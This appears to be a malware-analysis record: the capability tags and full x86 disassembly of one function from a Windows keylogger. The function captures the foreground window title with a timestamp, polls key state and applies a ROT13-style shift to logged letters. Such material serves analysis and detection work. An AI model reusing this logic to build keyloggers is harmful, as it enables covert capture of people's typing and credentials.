Function at 0x401960
Capabilities:
Get graphical window text
Get keyboard layout
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x405c8c
mov eax, dword fs:[0]
push eax
sub esp, 0x234
mov eax, dword [0x409040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push 0xb0
lea eax, [ebp - 0x22c]
mov dword [ebp - 0x234], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x22c], 0x4064e8
lea ecx, [ebp - 0x1c4]
mov dword [ebp - 0x21c], 0x4064cc
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
lea eax, [ebp - 0x214]
mov dword [ebp - 4], 0
push eax
lea ecx, [ebp - 0x22c]
mov dword [ebp - 0x234], 1
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char____]
mov dword [ebp - 4], 1
mov eax, dword [ebp - 0x22c]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebp - 0x22c]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x230], eax
lea ecx, [ebp - 0x214]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
mov dword [ebp - method.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov dword [ebp - 0x1dc], 0
mov dword [ebp - 0x1d8], 0
mov dword [ebp - 4], 2
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edi, eax
mov dword [ebp - 0x234], 0
test edi, edi
je 0x401b68
push 0
push edi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
mov dword [ebp - 0x234], eax
lea eax, [ebp - 0x150]
push 0x100
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov edx, 0x4097e0
lea ecx, [ebp - 0x150]
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x401ac2
test al, al
je 0x401abe
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x401ac2
add ecx, 2
add edx, 2
test al, al
jne 0x401aa2
xor eax, eax
jmp 0x401ac7
sbb eax, eax
or eax, 1
test eax, eax
je 0x401b68
lea eax, [ebp - 0x150]
push eax
push 0x100
push 0x4097e0
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov dword [ebp - 0x158], eax
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x17c]
mov dword [ebp - 0x154], edx
push eax
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
lea eax, [ebp - 0x17c]
push eax
push str._Y__m__d__X__z
lea eax, [ebp - 0x50]
push 0x40
push eax
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
add esp, 0x28
lea ecx, [ebp - 0x21c]
mov edx, str._n_n_Janela:
call fcn.00403900
lea edx, [ebp - 0x150]
mov ecx, eax
call fcn.00403900
mov edx, str.___em
mov ecx, eax
call fcn.00403900
lea edx, [ebp - 0x50]
mov ecx, eax
call fcn.00403900
mov edx, 0x406450
mov ecx, eax
call fcn.00403900
mov edx, dword [0x4098e4]
mov edi, edx
mov eax, dword [edx + 4]
mov cl, byte [eax + 0xd]
test cl, cl
jne 0x401b97
mov ecx, eax
nop dword [eax]
cmp dword [ecx + 0x10], esi
jge 0x401b8a
mov ecx, dword [ecx + 8]
jmp 0x401b8e
mov edi, ecx
mov ecx, dword [ecx]
cmp byte [ecx + 0xd], 0
je 0x401b80
mov cl, byte [eax + 0xd]
cmp byte [edi + 0xd], 0
jne 0x401bfe
cmp esi, dword [edi + 0x10]
jl 0x401bfe
cmp edi, edx
je 0x401bfe
test cl, cl
jne 0x401bc4
nop word [eax + eax]
cmp dword [eax + 0x10], esi
jge 0x401bba
mov eax, dword [eax + 8]
jmp 0x401bbe
mov edx, eax
mov eax, dword [eax]
cmp byte [eax + 0xd], 0
je 0x401bb0
cmp byte [edx + 0xd], 0
jne 0x401bf3
cmp esi, dword [edx + 0x10]
jl 0x401bf3
cmp dword [edx + 0x28], 0xf
lea eax, [edx + 0x14]
jbe 0x401bdb
mov eax, dword [edx + 0x14]
push dword [edx + 0x24]
mov edx, eax
lea ecx, [ebp - 0x21c]
call fcn.00403fa0
add esp, 4
jmp 0x401ccd
push str.invalid_map_K__T__key
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const__]
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x14
call edi
and al, 1
push 0x10
mov byte [ebp - 0x22d], al
call edi
bt ax, 0xc
jb 0x401c37
push 0xa0
call edi
bt ax, 0xc
jb 0x401c37
push 0xa1
call edi
bt ax, 0xc
jae 0x401c3e
xor byte [ebp - 0x22d], 1
push dword [ebp - 0x234]
push 2
push esi
call dword [sym.imp.USER32.dll_MapVirtualKeyExA]
cmp byte [ebp - 0x22d], 0
mov dword [ebp - 0x234], eax
jne 0x401c6f
movsx eax, al
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
add esp, 4
mov dword [ebp - 0x234], eax
movsx esi, al
push esi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isalpha]
add esp, 4
test eax, eax
je 0x401cbc
push esi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_islower]
add esp, 4
test eax, eax
je 0x401c9e
lea eax, [esi - 0x5e]
mov ecx, 0x1a
cdq
idiv ecx
add dl, 0x61
jmp 0x401cc2
push esi
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isupper]
add esp, 4
test eax, eax
je 0x401cbc
lea eax, [esi - 0x3e]
mov ecx, 0x1a
cdq
idiv ecx
add dl, 0x41
jmp 0x401cc2
mov edx, dword [ebp - 0x234]
lea ecx, [ebp - 0x21c]
call fcn.00403b20
mov byte [ebp - 4], 3
xorps xmm0, xmm0
mov edx, dword [ebp - 0x1d8]
xor esi, esi
mov eax, edx
mov dword [ebp - 0x160], esi
and al, 0x22
mov dword [ebp - 0x234], 5
movq qword [ebp - 0x240], xmm0
mov edi, 0xf
mov dword [ebp - 0x15c], edi
movups xmmword [ebp - 0x170], xmm0
mov byte [ebp - 0x170], 0
cmp al, 2
je 0x401d3a
mov eax, dword [ebp - 0x1f4]
mov ecx, dword [eax]
test ecx, ecx
je 0x401d3a
mov eax, dword [ebp - 0x204]
cmp ecx, dword [ebp - 0x1dc]
cmovb ecx, dword [ebp - 0x1dc]
mov edx, dword [eax]
sub ecx, edx
jmp 0x401d77
test dl, 4
jne 0x401d6b
mov eax, dword [ebp - 0x1f8]
mov eax, dword [eax]
mov dword [ebp - 0x154], eax
test eax, eax
je 0x401d6b
mov eax, dword [ebp - 0x208]
mov edx, dword [eax]
mov eax, dword [ebp - 0x1e8]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x154]
sub ecx, edx
jmp 0x401d77
mov ecx, dword [ebp - 0x23c]
mov edx, dword [ebp - 0x240]
test edx, edx
je 0x401d94
push ecx
push edx
lea ecx, [ebp - 0x170]
call fcn.004037d0
mov edi, dword [ebp - 0x15c]
mov esi, dword [ebp - 0x160]
cmp edi, 0xf
mov dword [ebp - 4], 4
lea edx, [ebp - 0x170]
mov ecx, 0x4090a0
cmova edx, dword [ebp - 0x170]
push esi
call fcn.00403fa0
mov byte [ebp - 4], 2
add esp, 4
mov ecx, dword [ebp - 0x15c]
cmp ecx, 0xf
jbe 0x401df9
mov edx, dword [ebp - 0x170]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401def
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401def
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00404d66
add esp, 8
mov ecx, 0x4090a0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::flush_void_]
mov eax, dword [ebp - 0x22c]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebp - 0x22c]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x230], eax
lea ecx, [ebp - 0x214]
call fcn.004027a0
lea ecx, [ebp - 0x20c]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x1c4]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004049c2
mov esp, ebp
pop ebp
ret